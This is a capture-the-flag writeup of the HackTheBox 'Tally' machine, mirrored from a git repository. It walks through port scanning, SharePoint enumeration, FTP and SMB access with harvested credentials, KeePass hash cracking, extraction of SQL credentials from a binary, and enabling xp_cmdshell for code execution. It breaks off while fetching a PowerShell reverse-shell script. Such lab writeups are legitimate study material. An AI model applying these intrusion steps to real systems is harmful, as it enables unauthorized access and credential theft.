mirror of
http://git.nowherejezfoltodf4jiyl6r56jnzintap5vyjlia7fkirfsnfizflqd.onion/nihilist/hacking-blogposts.git
synced 2025-05-16 20:37:01 +00:00
add hacking blogposts as they are
This commit is contained in:
parent
fa65088be1
commit
325b9c3814
1904 changed files with 91353 additions and 0 deletions
797
Hard/6.md
Normal file
797
Hard/6.md
Normal file
|
@ -0,0 +1,797 @@
|
|||
# Tally Writeup
|
||||
|
||||

|
||||
|
||||
## Introduction :
|
||||
|
||||
Tally is a hard windows box released back in November 2017.
|
||||
|
||||
## **Part 1 : Initial Enumeration**
|
||||
|
||||
As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sT** for tcp ports and **-sU** to for udp ports.
|
||||
|
||||
|
||||
[ 10.10.14.6/23 ] [ /dev/pts/7 ] [~/_HTB/Kotarak]
|
||||
→ sudo nmap -vvv -sTU -p- 10.10.10.59 --max-retries 0 -Pn --min-rate=500 | grep Discovered
|
||||
[sudo] password for nothing:
|
||||
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
|
||||
Discovered open port 139/tcp on 10.10.10.59
|
||||
Discovered open port 135/tcp on 10.10.10.59
|
||||
Discovered open port 21/tcp on 10.10.10.59
|
||||
Discovered open port 80/tcp on 10.10.10.59
|
||||
Discovered open port 445/tcp on 10.10.10.59
|
||||
Discovered open port 47001/tcp on 10.10.10.59
|
||||
Discovered open port 49665/tcp on 10.10.10.59
|
||||
Discovered open port 32846/tcp on 10.10.10.59
|
||||
Discovered open port 32844/tcp on 10.10.10.59
|
||||
Discovered open port 49666/tcp on 10.10.10.59
|
||||
Discovered open port 49669/tcp on 10.10.10.59
|
||||
Discovered open port 32843/tcp on 10.10.10.59
|
||||
Discovered open port 15567/tcp on 10.10.10.59
|
||||
Discovered open port 81/tcp on 10.10.10.59
|
||||
Discovered open port 49670/tcp on 10.10.10.59
|
||||
Discovered open port 5985/tcp on 10.10.10.59
|
||||
Discovered open port 1433/tcp on 10.10.10.59
|
||||
Discovered open port 49668/tcp on 10.10.10.59
|
||||
Discovered open port 808/tcp on 10.10.10.59
|
||||
Discovered open port 49667/tcp on 10.10.10.59
|
||||
|
||||
|
||||
|
||||
Once we know which ports are opened, we enumerate the ones we want with **-p** , using the flags **-sC** for default scripts, and **-sV** to enumerate versions.
|
||||
|
||||
|
||||
|
||||
[ 10.10.14.6/23 ] [ /dev/pts/7 ] [~/_HTB/Kotarak]
|
||||
→ nmap -sCV -p21,80,81,135,139,445,808,1443 10.10.10.59
|
||||
Starting Nmap 7.91 ( https://nmap.org ) at 2020-12-22 18:12 CET
|
||||
Nmap scan report for 10.10.10.59
|
||||
Host is up (0.037s latency).
|
||||
|
||||
PORT STATE SERVICE VERSION
|
||||
21/tcp open ftp Microsoft ftpd
|
||||
| ftp-syst:
|
||||
|_ SYST: Windows_NT
|
||||
80/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|
||||
|_http-generator: Microsoft SharePoint
|
||||
| http-ntlm-info:
|
||||
| Target_Name: TALLY
|
||||
| NetBIOS_Domain_Name: TALLY
|
||||
| NetBIOS_Computer_Name: TALLY
|
||||
| DNS_Domain_Name: TALLY
|
||||
| DNS_Computer_Name: TALLY
|
||||
|_ Product_Version: 10.0.14393
|
||||
|_http-server-header: Microsoft-IIS/10.0
|
||||
81/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|
||||
|_http-server-header: Microsoft-HTTPAPI/2.0
|
||||
|_http-title: Bad Request
|
||||
135/tcp open msrpc Microsoft Windows RPC
|
||||
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
|
||||
445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
|
||||
808/tcp open ccproxy-http?
|
||||
1443/tcp closed ies-lm
|
||||
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows
|
||||
|
||||
Host script results:
|
||||
|_clock-skew: mean: -1s, deviation: 0s, median: -1s
|
||||
| ms-sql-info:
|
||||
| 10.10.10.59:1433:
|
||||
| Version:
|
||||
| name: Microsoft SQL Server 2016 RTM
|
||||
| number: 13.00.1601.00
|
||||
| Product: Microsoft SQL Server 2016
|
||||
| Service pack level: RTM
|
||||
| Post-SP patches applied: false
|
||||
|_ TCP port: 1433
|
||||
| smb-security-mode:
|
||||
| account_used: guest
|
||||
| authentication_level: user
|
||||
| challenge_response: supported
|
||||
|_ message_signing: disabled (dangerous, but default)
|
||||
| smb2-security-mode:
|
||||
| 2.02:
|
||||
|_ Message signing enabled but not required
|
||||
| smb2-time:
|
||||
| date: 2020-12-22T17:12:21
|
||||
|_ start_date: 2020-12-22T17:08:42
|
||||
|
||||
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
|
||||
Nmap done: 1 IP address (1 host up) scanned in 46.79 seconds
|
||||
|
||||
|
||||
## **Part 2 : Getting User Access**
|
||||
|
||||
nmap found port 80 so let's run gobuster on it:
|
||||
|
||||
|
||||
|
||||
[ 10.10.14.6/23 ] [ /dev/pts/16 ] [~/_HTB/Tally]
|
||||
→ echo '10.10.10.59 tally.htb' >> /etc/hosts
|
||||
|
||||
|
||||
[ 10.10.14.6/23 ] [ /dev/pts/16 ] [~/_HTB/Tally]
|
||||
→ gobuster dir -w /usr/share/seclists/Discovery/Web-Content/CMS/sharepoint.txt -u http://tally.htb/
|
||||
===============================================================
|
||||
Gobuster v3.0.1
|
||||
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
|
||||
===============================================================
|
||||
[+] Url: http://tally.htb/
|
||||
[+] Threads: 10
|
||||
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/CMS/sharepoint.txt
|
||||
[+] Status codes: 200,204,301,302,307,401,403
|
||||
[+] User Agent: gobuster/3.0.1
|
||||
[+] Timeout: 10s
|
||||
===============================================================
|
||||
2020/12/22 18:18:15 Starting gobuster
|
||||
===============================================================
|
||||
/_app_bin (Status: 301)
|
||||
[ERROR] 2020/12/22 18:18:29 [!] Get http://tally.htb/_catalogs/wt/forms/common.aspx: net/http: request canceled (Client.Timeout exceeded while awaiting headers)
|
||||
[ERROR] 2020/12/22 18:18:29 [!] Get http://tally.htb/3082: net/http: request canceled (Client.Timeout exceeded while awaiting headers)
|
||||
[ERROR] 2020/12/22 18:18:29 [!] Get http://tally.htb/_admin: net/http: request canceled (Client.Timeout exceeded while awaiting headers)
|
||||
[ERROR] 2020/12/22 18:18:29 [!] Get http://tally.htb/_admin/operations.aspx: net/http: request canceled (Client.Timeout exceeded while awaiting headers)
|
||||
[ERROR] 2020/12/22 18:18:29 [!] Get http://tally.htb/1033: net/http: request canceled (Client.Timeout exceeded while awaiting headers)
|
||||
[ERROR] 2020/12/22 18:18:29 [!] Get http://tally.htb/50: net/http: request canceled (Client.Timeout exceeded while awaiting headers)
|
||||
[ERROR] 2020/12/22 18:18:29 [!] Get http://tally.htb/_catalogs/wp/forms/allitems.aspx: net/http: request canceled (Client.Timeout exceeded while awaiting headers)
|
||||
[ERROR] 2020/12/22 18:18:29 [!] Get http://tally.htb/_catalogs/masterpage/forms/allitems.aspx: net/http: request canceled (Client.Timeout exceeded while awaiting headers)
|
||||
[ERROR] 2020/12/22 18:18:29 [!] Get http://tally.htb/60: net/http: request canceled (Client.Timeout exceeded while awaiting headers)
|
||||
[ERROR] 2020/12/22 18:18:30 [!] Get http://tally.htb/_catalogs/lt/forms/allitems.aspx: net/http: request canceled (Client.Timeout exceeded while awaiting headers)
|
||||
/_layouts (Status: 301)
|
||||
/_controltemplates (Status: 301)
|
||||
/_layouts/1033 (Status: 301)
|
||||
/_layouts/1033/avreport.htm (Status: 200)
|
||||
/_layouts/1033/filedlg.htm (Status: 200)
|
||||
/_layouts/1033/fontdlg.htm (Status: 200)
|
||||
/_layouts/1033/error.htm (Status: 200)
|
||||
/_layouts/1033/images (Status: 301)
|
||||
/_layouts/1033/iframe.htm (Status: 200)
|
||||
/_layouts/1033/instable.htm (Status: 200)
|
||||
/_layouts/1033/menu.htc (Status: 200)
|
||||
/_layouts/1033/menubar.htc (Status: 200)
|
||||
/_layouts/1033/selcolor.htm (Status: 200)
|
||||
/_layouts/1033/spthemes.xml (Status: 200)
|
||||
/_layouts/1033/spthemes.xsd (Status: 200)
|
||||
/_layouts/accessdenied.aspx (Status: 302)
|
||||
/_layouts/addfieldfromtemplate.aspx (Status: 302)
|
||||
/_layouts/aclinv.aspx (Status: 302)
|
||||
/_layouts/addrole.aspx (Status: 302)
|
||||
/_layouts/addcontenttypetolist.aspx (Status: 302)
|
||||
/_layouts/addwrkfl.aspx (Status: 302)
|
||||
/_layouts/adminrecyclebin.aspx (Status: 302)
|
||||
/_layouts/approve.aspx (Status: 302)
|
||||
/_layouts/advsetng.aspx (Status: 302)
|
||||
/_layouts/aspxform.aspx (Status: 302)
|
||||
/_layouts/addnavigationlinkdialog.aspx (Status: 200)
|
||||
/_layouts/addfiletype.aspx (Status: 200)
|
||||
/_layouts/areacachesettings.aspx (Status: 200)
|
||||
/_layouts/areanavigationsettings.aspx (Status: 200)
|
||||
/_layouts/addcontentsource.aspx (Status: 200)
|
||||
/_layouts/areatemplatesettings.aspx (Status: 200)
|
||||
/_layouts/areawelcomepage.aspx (Status: 200)
|
||||
/_layouts/associatedgroups.aspx (Status: 302)
|
||||
/_layouts/assocwrkfl.aspx (Status: 302)
|
||||
/_layouts/addservernamemappings.aspx (Status: 200)
|
||||
/_layouts/assetedithyperlink.aspx (Status: 200)
|
||||
/_layouts/assetportalbrowser.aspx (Status: 200)
|
||||
/_layouts/audience_defruleedit.aspx (Status: 200)
|
||||
/_layouts/audience_edit.aspx (Status: 200)
|
||||
/_layouts/audience_main.aspx (Status: 200)
|
||||
/_layouts/audience_sched.aspx (Status: 200)
|
||||
/_layouts/assetuploader.aspx (Status: 200)
|
||||
/_layouts/audience_memberlist.aspx (Status: 200)
|
||||
/_layouts/audience_list.aspx (Status: 200)
|
||||
/_layouts/assetimagepicker.aspx (Status: 200)
|
||||
/_layouts/backlinks.aspx (Status: 302)
|
||||
/_layouts/avreport.aspx (Status: 302)
|
||||
/_layouts/authenticate.aspx (Status: 302)
|
||||
/_layouts/bdcadminui/addbdcapplication.aspx (Status: 200)
|
||||
/_layouts/bdcadminui/bdcapplications.aspx (Status: 200)
|
||||
/_layouts/auditsettings.aspx (Status: 200)
|
||||
/_layouts/barcodeimagefromitem.aspx (Status: 200)
|
||||
/_layouts/bdcadminui/bdcentities.aspx (Status: 200)
|
||||
/_layouts/bdcadminui/editbdcaction.aspx (Status: 200)
|
||||
/_layouts/audience_view.aspx (Status: 200)
|
||||
/_layouts/bdcadminui/addbdcaction.aspx (Status: 200)
|
||||
|
||||
|
||||
Basically out of this garbage you had to find _layouts/15/viewlsts.aspx
|
||||
|
||||

|
||||
|
||||
Into Documents there's a file called "ftp-details"
|
||||
|
||||

|
||||
|
||||
|
||||
[ 10.10.14.6/23 ] [ /dev/pts/16 ] [~/_HTB/Tally]
|
||||
→ mv ~/Downloads/ftp-details.docx .
|
||||
mv: cannot stat '/home/nothing/Downloads/ftp-details.docx': No such file or directory
|
||||
|
||||
[ 10.10.14.6/23 ] [ /dev/pts/16 ] [~/_HTB/Tally]
|
||||
→ ls -lash ftp-details.docx
|
||||
12K -rw-r--r-- 1 nothing nothing 11K Dec 22 18:23 ftp-details.docx
|
||||
|
||||
[ 10.10.14.6/23 ] [ /dev/pts/16 ] [~/_HTB/Tally]
|
||||
→ file ftp-details.docx
|
||||
ftp-details.docx: Zip archive data, at least v1.0 to extract
|
||||
|
||||
[ 10.10.14.6/23 ] [ /dev/pts/3 ] [~/_HTB/Tally]
|
||||
→ lowriter ftp-details.docx
|
||||
|
||||
|
||||
` 
|
||||
|
||||
So we can add that domain name to our hosts file:
|
||||
|
||||
|
||||
[ 10.10.14.6/23 ] [ /dev/pts/6 ] [~/_HTB/Tally]
|
||||
→ sudo vim /etc/hosts
|
||||
|
||||
10.10.10.59 tally.htb tally.htb.local
|
||||
|
||||
|
||||
And on Site Pages you're supposed to get a file called "FinanceTeam"
|
||||
|
||||
 
|
||||
|
||||
So here we're hinted towards a ftp_user account for the "intranet folder", so we could have credentials from what we gathered so far : **ftp_user:UTDRSCH53c"$6hys**. And obviously we're going to try to login via ftp since our nmap scan picked up port 21:
|
||||
|
||||
|
||||
[ 10.10.14.6/23 ] [ /dev/pts/8 ] [~]
|
||||
→ ftp 10.10.10.59
|
||||
Connected to 10.10.10.59.
|
||||
220 Microsoft FTP Service
|
||||
Name (10.10.10.59:nothing): ftp_user
|
||||
331 Password required
|
||||
Password:
|
||||
230 User logged in.
|
||||
Remote system type is Windows_NT.
|
||||
ftp> dir
|
||||
200 PORT command successful.
|
||||
125 Data connection already open; Transfer starting.
|
||||
08-31-17 10:51PM <****DIR> From-Custodian
|
||||
10-01-17 10:37PM <****DIR> Intranet
|
||||
08-28-17 05:56PM <****DIR> Logs
|
||||
09-15-17 08:30PM <****DIR> To-Upload
|
||||
09-17-17 08:27PM <****DIR> User
|
||||
226 Transfer complete.
|
||||
ftp> exit
|
||||
221 Goodbye.
|
||||
|
||||
And here we get a few directories so let's just use wget to get what they contain recursively:
|
||||
|
||||
|
||||
[ 10.10.14.6/23 ] [ /dev/pts/8 ] [_HTB/Tally/ftp]
|
||||
→ wget --mirror 'ftp://ftp_user:UTDRSCH53c"$6hys@tally.htb.local'
|
||||
--2020-12-22 23:06:07-- ftp://ftp_user:*password*@tally.htb.local/
|
||||
=> ‘tally.htb.local/.listing’
|
||||
Resolving tally.htb.local (tally.htb.local)... 10.10.10.59
|
||||
Connecting to tally.htb.local (tally.htb.local)|10.10.10.59|:21... connected.
|
||||
Logging in as ftp_user ... Logged in!
|
||||
==> SYST ... done. ==> PWD ... done.
|
||||
==> TYPE I ... done. ==> CWD not needed.
|
||||
==> PASV ... done. ==> LIST ... done.
|
||||
|
||||
tally.htb.local/.listing [ <=> ] 244 --.-KB/s in 0s
|
||||
|
||||
==> PASV ... done. ==> LIST ... done.
|
||||
|
||||
[...]
|
||||
|
||||
|
||||
And now let's go through what we're downloading:
|
||||
|
||||
|
||||
|
||||
[ 10.10.14.6/23 ] [ /dev/pts/9 ] [_HTB/Tally/ftp]
|
||||
→ du -hs tally.htb.local
|
||||
99M tally.htb.local
|
||||
|
||||
[ 10.10.14.6/23 ] [ /dev/pts/9 ] [_HTB/Tally/ftp]
|
||||
→ tree tally.htb.local
|
||||
tally.htb.local
|
||||
├── From-Custodian
|
||||
│ ├── RED-528103410.log
|
||||
│ ├── RED-528113411.log
|
||||
│ ├── RED-528123412.log
|
||||
│ ├── RED-528133413.log
|
||||
│ ├── RED-5281341.log
|
||||
│ ├── RED-528143414.log
|
||||
│ ├── RED-528153415.log
|
||||
│ ├── RED-528163416.log
|
||||
│ ├── RED-528173417.log
|
||||
│ ├── RED-528183418.log
|
||||
│ ├── RED-528193419.log
|
||||
│ ├── RED-528203420.log
|
||||
│ ├── RED-528213421.log
|
||||
│ ├── RED-528223422.log
|
||||
│ ├── RED-528233423.log
|
||||
│ ├── RED-5282342.log
|
||||
│ ├── RED-528243424.log
|
||||
│ ├── RED-528253425.log
|
||||
│ ├── RED-528263426.log
|
||||
│ ├── RED-528273427.log
|
||||
│ ├── RED-528283428.log
|
||||
│ ├── RED-528293429.log
|
||||
│ ├── RED-528303430.log
|
||||
│ ├── RED-528313431.log
|
||||
│ ├── RED-528323432.log
|
||||
│ ├── RED-528333433.log
|
||||
│ ├── RED-5283343.log
|
||||
│ ├── RED-528343434.log
|
||||
│ ├── RED-528353435.log
|
||||
│ ├── RED-528363436.log
|
||||
│ ├── RED-528373437.log
|
||||
│ ├── RED-528383438.log
|
||||
│ ├── RED-528393439.log
|
||||
│ ├── RED-528403440.log
|
||||
│ ├── RED-528413441.log
|
||||
│ ├── RED-528423442.log
|
||||
│ ├── RED-528433443.log
|
||||
│ ├── RED-5284344.log
|
||||
│ ├── RED-528443444.log
|
||||
│ ├── RED-528453445.log
|
||||
│ ├── RED-528463446.log
|
||||
│ ├── RED-528473447.log
|
||||
│ ├── RED-528483448.log
|
||||
│ ├── RED-528493449.log
|
||||
│ ├── RED-528503450.log
|
||||
│ ├── RED-5285345.log
|
||||
│ ├── RED-5286346.log
|
||||
│ ├── RED-5287347.log
|
||||
│ ├── RED-5288348.log
|
||||
│ └── RED-5289349.log
|
||||
├── Intranet
|
||||
│ └── Binaries
|
||||
│ └── Firefox Setup 44.0.2.exe
|
||||
├── Logs
|
||||
│ ├── ftp_connect_8235771490510.txt
|
||||
│ ├── ftp_connect_8235771490511.txt
|
||||
│ ├── ftp_connect_8235771490512.txt
|
||||
│ ├── ftp_connect_8235771490513.txt
|
||||
│ ├── ftp_connect_8235771490514.txt
|
||||
│ ├── ftp_connect_8235771490515.txt
|
||||
│ ├── ftp_connect_8235771490516.txt
|
||||
│ ├── ftp_connect_8235771490517.txt
|
||||
│ ├── ftp_connect_8235771490518.txt
|
||||
│ ├── ftp_connect_8235771490519.txt
|
||||
│ ├── ftp_connect_823577149051.txt
|
||||
│ ├── ftp_connect_8235771490520.txt
|
||||
│ ├── ftp_connect_8235771490521.txt
|
||||
│ ├── ftp_connect_8235771490522.txt
|
||||
│ ├── ftp_connect_8235771490523.txt
|
||||
│ ├── ftp_connect_8235771490524.txt
|
||||
│ ├── ftp_connect_8235771490525.txt
|
||||
│ ├── ftp_connect_8235771490526.txt
|
||||
│ ├── ftp_connect_8235771490527.txt
|
||||
│ ├── ftp_connect_8235771490528.txt
|
||||
│ ├── ftp_connect_8235771490529.txt
|
||||
│ ├── ftp_connect_823577149052.txt
|
||||
│ ├── ftp_connect_8235771490530.txt
|
||||
│ ├── ftp_connect_8235771490531.txt
|
||||
│ ├── ftp_connect_8235771490532.txt
|
||||
│ ├── ftp_connect_8235771490533.txt
|
||||
│ ├── ftp_connect_8235771490534.txt
|
||||
│ ├── ftp_connect_8235771490535.txt
|
||||
│ ├── ftp_connect_8235771490536.txt
|
||||
│ ├── ftp_connect_8235771490537.txt
|
||||
│ ├── ftp_connect_8235771490538.txt
|
||||
│ ├── ftp_connect_8235771490539.txt
|
||||
│ ├── ftp_connect_823577149053.txt
|
||||
│ ├── ftp_connect_8235771490540.txt
|
||||
│ ├── ftp_connect_8235771490541.txt
|
||||
│ ├── ftp_connect_8235771490542.txt
|
||||
│ ├── ftp_connect_8235771490543.txt
|
||||
│ ├── ftp_connect_8235771490544.txt
|
||||
│ ├── ftp_connect_8235771490545.txt
|
||||
│ ├── ftp_connect_8235771490546.txt
|
||||
│ ├── ftp_connect_8235771490547.txt
|
||||
│ ├── ftp_connect_8235771490548.txt
|
||||
│ ├── ftp_connect_8235771490549.txt
|
||||
│ ├── ftp_connect_823577149054.txt
|
||||
│ ├── ftp_connect_8235771490550.txt
|
||||
│ ├── ftp_connect_823577149055.txt
|
||||
│ ├── ftp_connect_823577149056.txt
|
||||
│ ├── ftp_connect_823577149057.txt
|
||||
│ ├── ftp_connect_823577149058.txt
|
||||
│ └── ftp_connect_823577149059.txt
|
||||
├── To-Upload
|
||||
│ ├── employees-id_number.xlsx
|
||||
│ └── Invoices.zip
|
||||
└── User
|
||||
├── Administrator
|
||||
│ └── New folder
|
||||
├── Ekta
|
||||
│ ├── OFSI_quick_guide_flyer.pdf
|
||||
│ └── PSAIS_1_April_2017.pdf
|
||||
├── Jess
|
||||
│ └── actu8-espreadsheet-designer-datasheet.pdf
|
||||
├── Paul
|
||||
│ ├── financial-list-guide.pdf
|
||||
│ ├── financial_sanctions_guidance_august_2017.pdf
|
||||
│ ├── Monetary_penalties_for_breaches_of_financial_sanctions.pdf
|
||||
│ └── New folder
|
||||
├── Rahul
|
||||
│ └── Mockups-Backup
|
||||
├── Sarah
|
||||
│ ├── MBSASetup-x64-EN.msi
|
||||
│ ├── notes.txt
|
||||
│ └── Windows-KB890830-x64-V5.52.exe
|
||||
├── Stuart
|
||||
│ ├── customers - Copy.csv
|
||||
│ └── Unit4-Connect-Financials-Agenda.pdf
|
||||
├── Tim
|
||||
│ ├── Files
|
||||
│ │ ├── bonus.txt
|
||||
│ │ ├── KeePass-2.36
|
||||
│ │ │ ├── KeePass.chm
|
||||
│ │ │ ├── KeePass.exe
|
||||
│ │ │ ├── KeePass.exe.config
|
||||
│ │ │ ├── KeePassLibC32.dll
|
||||
│ │ │ ├── KeePassLibC64.dll
|
||||
│ │ │ ├── KeePass.XmlSerializers.dll
|
||||
│ │ │ ├── License.txt
|
||||
│ │ │ ├── Plugins
|
||||
│ │ │ ├── ShInstUtil.exe
|
||||
│ │ │ └── XSL
|
||||
│ │ │ ├── KDBX_Common.xsl
|
||||
│ │ │ ├── KDBX_DetailsFull_HTML.xsl
|
||||
│ │ │ ├── KDBX_DetailsLight_HTML.xsl
|
||||
│ │ │ ├── KDBX_PasswordsOnly_TXT.xsl
|
||||
│ │ │ └── KDBX_Tabular_HTML.xsl
|
||||
│ │ └── tim.kdbx
|
||||
│ └── Project
|
||||
│ ├── Communications
|
||||
│ ├── Log
|
||||
│ │ └── do to.txt
|
||||
│ └── Vendors
|
||||
└── Yenwi
|
||||
└── Archive
|
||||
|
||||
27 directories, 130 files
|
||||
|
||||
|
||||
And here we see something interesting, there is a keepass kdbx file in User/Tim/Files/tim.kdbx, so we're going to use keepass2john to extract the hash we need:
|
||||
|
||||
|
||||
|
||||
[ 10.10.14.6/23 ] [ /dev/pts/9 ] [User/Tim/Files]
|
||||
→ keepass2john tim.kdbx
|
||||
tim:$keepass$*2*6000*0*f362b5565b916422607711b54e8d0bd20838f5111d33a5eed137f9d66a375efb*3f51c5ac43ad11e0096d59bb82a59dd09cfd8d2791cadbdb85ed3020d14c8fea*3f759d7011f43b30679a5ac650991caa*b45da6b5b0115c5a7fb688f8179a19a749338510dfe90aa5c2cb7ed37f992192*535a85ef5c9da14611ab1c1edc4f00a045840152975a4d277b3b5c4edc1cd7da
|
||||
|
||||
|
||||
|
||||
Save the hash somewhere, then use hashcat to crack it:
|
||||
|
||||
|
||||
hashcat -m 13400 tim.hash /usr/share/wordlists/rockyou.txt
|
||||
|
||||
|
||||
|
||||
and once it finishes hashcat gives us the password we need : simplementeyo
|
||||
|
||||
  
|
||||
|
||||
And we have new credentials! Finance:Acc0unting, and cisco:cisco123. So first let's investigate the ACCT share the keepass file hints us towards:
|
||||
|
||||
|
||||
[ 10.10.14.6/23 ] [ /dev/pts/9 ] [User/Tim/Files]
|
||||
→ sudo -i
|
||||
[sudo] password for nothing:
|
||||
|
||||
[ 10.10.14.6/23 ] [ /dev/pts/9 ] [~]
|
||||
→ mkdir /mnt/smb
|
||||
|
||||
[ 10.10.14.6/23 ] [ /dev/pts/9 ] [~]
|
||||
→ mount -t cifs -o username=Finance password=Acc0unting //10.10.10.59/ACCT /mnt/smb
|
||||
mount: bad usage
|
||||
Try 'mount --help' for more information.
|
||||
|
||||
[ 10.10.14.6/23 ] [ /dev/pts/9 ] [~]
|
||||
→ mount -t cifs -o username=Finance //10.10.10.59/ACCT /mnt/smb
|
||||
🔐 Password for Finance@//10.10.10.59/ACCT: **********
|
||||
|
||||
[ 10.10.14.6/23 ] [ /dev/pts/9 ] [/mnt/smb]
|
||||
→cd /mnt/smb
|
||||
|
||||
[ 10.10.14.6/23 ] [ /dev/pts/9 ] [/mnt/smb]
|
||||
→ ls -l
|
||||
total 0
|
||||
drwxr-xr-x 2 root root 0 Sep 17 2017 Customers
|
||||
drwxr-xr-x 2 root root 0 Aug 28 2017 Fees
|
||||
drwxr-xr-x 2 root root 0 Aug 28 2017 Invoices
|
||||
drwxr-xr-x 2 root root 0 Sep 17 2017 Jess
|
||||
drwxr-xr-x 2 root root 0 Aug 28 2017 Payroll
|
||||
drwxr-xr-x 2 root root 0 Sep 1 2017 Reports
|
||||
drwxr-xr-x 2 root root 0 Sep 17 2017 Tax
|
||||
drwxr-xr-x 2 root root 0 Sep 13 2017 Transactions
|
||||
drwxr-xr-x 2 root root 0 Sep 15 2017 zz_Archived
|
||||
drwxr-xr-x 2 root root 0 Sep 17 2017 zz_Migration
|
||||
|
||||
|
||||
|
||||
So the goal here was to navigate into zz_Migration/Binaries/New\ Folder
|
||||
|
||||
|
||||
[ 10.10.14.6/23 ] [ /dev/pts/9 ] [/mnt/smb]
|
||||
→ cd zz_Migration/Binaries/New\ Folder
|
||||
|
||||
[ 10.10.14.6/23 ] [ /dev/pts/9 ] [zz_Migration/Binaries/New Folder]
|
||||
→ ls -l
|
||||
total 676308
|
||||
-rwxr-xr-x 1 root root 389188014 Sep 13 2017 crystal_reports_viewer_2016_sp04_51051980.zip
|
||||
-rwxr-xr-x 1 root root 18159024 Sep 11 2017 Macabacus2016.exe
|
||||
-rwxr-xr-x 1 root root 21906356 Aug 30 2017 Orchard.Web.1.7.3.zip
|
||||
-rwxr-xr-x 1 root root 774200 Sep 17 2017 putty.exe
|
||||
-rwxr-xr-x 1 root root 483824 Sep 15 2017 RpprtSetup.exe
|
||||
-rwxr-xr-x 1 root root 254599112 Sep 11 2017 tableau-desktop-32bit-10-3-2.exe
|
||||
-rwxr-xr-x 1 root root 215552 Sep 1 2017 tester.exe
|
||||
-rwxr-xr-x 1 root root 7194312 Sep 13 2017 vcredist_x64.exe
|
||||
|
||||
|
||||
|
||||
And here you had to extract passwords out of tester.exe using strings:
|
||||
|
||||
|
||||
[ 10.10.14.6/23 ] [ /dev/pts/9 ] [zz_Migration/Binaries/New Folder]
|
||||
→ strings tester.exe | grep SQL
|
||||
SQLSTATE:
|
||||
DRIVER={SQL Server};SERVER=TALLY, 1433;DATABASE=orcharddb;UID=sa;PWD=GWE3V65#6KFH93@4GWTG2G;
|
||||
|
||||
|
||||
|
||||
So here we have credentials for a SQL server on port 1433 : sa:GWE3V65#6KFH93@4GWTG2G
|
||||
|
||||
|
||||
[ 10.10.14.6/23 ] [ /dev/pts/11 ] [~]
|
||||
→ sqsh -S 10.10.10.59 -U sa -P GWE3V65#6KFH93@4GWTG2G
|
||||
sqsh-2.5.16.1 Copyright (C) 1995-2001 Scott C. Gray
|
||||
Portions Copyright (C) 2004-2014 Michael Peppler and Martin Wesdorp
|
||||
This is free software with ABSOLUTELY NO WARRANTY
|
||||
For more information type '\warranty'
|
||||
1> xp_cmdshell 'id'
|
||||
2> go
|
||||
Msg 15281, Level 16, State 1
|
||||
Server 'TALLY', Procedure 'xp_cmdshell', Line 1
|
||||
SQL Server blocked access to procedure 'sys.xp_cmdshell' of component 'xp_cmdshell' because this component is turned off as part of the
|
||||
security configuration for this server. A system administrator can enable the use of 'xp_cmdshell' by using sp_configure. For more
|
||||
information about enabling 'xp_cmdshell', search for 'xp_cmdshell' in SQL Server Books Online.
|
||||
1>
|
||||
|
||||
|
||||
|
||||
So we're connected but component xp_cmdshell is turned off, so let's turn it on:
|
||||
|
||||
|
||||
1> EXEC SP_CONFIGURE 'xp_cmdshell',1
|
||||
2> reconfigure
|
||||
3> go
|
||||
Msg 15123, Level 16, State 1
|
||||
Server 'TALLY', Procedure 'sp_configure', Line 62
|
||||
The configuration option 'xp_cmdshell' does not exist, or it may be an advanced option.
|
||||
(return status = 1)
|
||||
|
||||
|
||||
|
||||
And it seems like the xp_cmdshell option doesn't exist, so let's enable advanced options:
|
||||
|
||||
|
||||
1> EXEC SP_CONFIGURE 'show advanced options', 1
|
||||
2> reconfigure
|
||||
3> go
|
||||
Configuration option 'show advanced options' changed from 0 to 1. Run the RECONFIGURE statement to install.
|
||||
(return status = 0)
|
||||
1> EXEC SP_CONFIGURE 'xp_cmdshell', 1
|
||||
2> reconfigure
|
||||
3> go
|
||||
Configuration option 'xp_cmdshell' changed from 0 to 1. Run the RECONFIGURE statement to install.
|
||||
(return status = 0)
|
||||
|
||||
1> xp_cmdshell "whoami"
|
||||
2> go
|
||||
|
||||
output
|
||||
-------------------------------------------------------------------------------------------------------------------------------------
|
||||
---------------------------------------------------------------------------------------------------------------------------------------------
|
||||
---------------------------------------------------------------------------------------------------------------------------------------------
|
||||
-------------------------------------------------------------------------------------------------
|
||||
|
||||
tally\sarah
|
||||
NULL
|
||||
(2 rows affected, return status = 0)
|
||||
|
||||
|
||||
And there we have it, we have code execution as the sarah user:
|
||||
|
||||
|
||||
|
||||
1> xp_cmdshell "whoami /priv"
|
||||
2> go
|
||||
output
|
||||
-------------------------------------------------------------------------------------------------------------------------------------
|
||||
---------------------------------------------------------------------------------------------------------------------------------------------
|
||||
---------------------------------------------------------------------------------------------------------------------------------------------
|
||||
-------------------------------------------------------------------------------------------------
|
||||
|
||||
NULL
|
||||
PRIVILEGES INFORMATION
|
||||
----------------------
|
||||
NULL
|
||||
Privilege Name Description State
|
||||
============================= ========================================= ========
|
||||
SeAssignPrimaryTokenPrivilege Replace a process level token Disabled
|
||||
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled
|
||||
SeChangeNotifyPrivilege Bypass traverse checking Enabled
|
||||
**SeImpersonatePrivilege Impersonate a client after authentication Enabled**
|
||||
SeCreateGlobalPrivilege Create global objects Enabled
|
||||
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
|
||||
NULL
|
||||
(13 rows affected, return status = 0)
|
||||
|
||||
|
||||
And here we see that the SeImpersonatePrivilege is set to enabled therefore we should be able to do rottenpotato on this machine, but before that let's get a reverse shell using nishang's [InvokePowershellTcp.ps1](https://github.com/samratashok/nishang/blob/master/Shells/Invoke-PowerShellTcp.ps1)
|
||||
|
||||
|
||||
[ 10.10.14.6/23 ] [ /dev/pts/14 ] [~/_HTB/Tally]
|
||||
→ wget https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1
|
||||
